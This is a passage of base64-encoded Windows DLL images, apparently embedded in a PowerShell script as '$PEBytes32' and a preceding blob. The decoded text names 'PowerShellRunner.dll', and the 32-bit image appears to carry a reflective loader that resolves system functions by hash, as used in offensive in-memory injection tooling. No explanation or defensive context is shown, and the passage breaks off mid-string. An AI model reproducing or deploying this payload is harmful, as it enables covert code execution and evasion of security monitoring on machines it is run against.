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g4qEioWKhoqHioiKiYqKiouKjIqNio6Kj4qAipGKkoqTipAAAAIAEA2AAAAECjSKNQo1ijYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjgqOio8Kj4qACpCKkQqRipIKkoqTCpOKlAqUipUKlYqWCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CrAAAAMAEAxAAAADiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAAAEABAAgCAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIoliiaKJ4ooiimKKooriiyKLYouii+KIIoxijKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCssKzArNCs4KzwrACtEK0grTCtQK1QrWCtcK2ArZCtoK2wrcCt0K3grfCtAK4QriCuMK5ArlCuYK5wroCukK6grrCuwK7QruCu8K4ArxCvIK8wr0CvUK9gr3CvgK+Qr6CvsK/Ar9Cv4K/wrwBQAQDgAAAAAKAQoCCgMKBAoFCgYKBwoICgkKCgoLCgwKDQoOCg8KAAoRChIKEwoUChUKFgoXChgKGQoaChsKHAodCh4KHwoQCiEKIgojCiQKJQomCicKKAopCioKKwosCi0KLgovCiAKMQoyCjMKNAo1CjYKNwo4CjkKOgo7CjwKPQo+Cj8KMApBCkIKQwpECkUKRgpHCkgKSQpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagpgAAAGABABQAAADIrQCuqK6wrriuwK4AcAEADAAAAFisAAAAoAEAwAAAABCgIKAgrTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2graitsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK9Ar0ivUK9Yr2CvaK9wr3ivgK+Ir5CvmK+gr6ivsK+4r8CvyK/Qr9iv4K/or/CvAAAAsAEAZAAAADigWKB4oJiguKDwoAihEKEYoSChYKFooXCheKGAoYihkKGYoaChqKGwobih0KHYoeCh6KHwofihAKIIohCiGKIoojCiOKJAokiiUKJYomCicKJ4ooCikKKwpQAAAOABABQAAADQrfitIK5ArmiuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $PEBytes32 = "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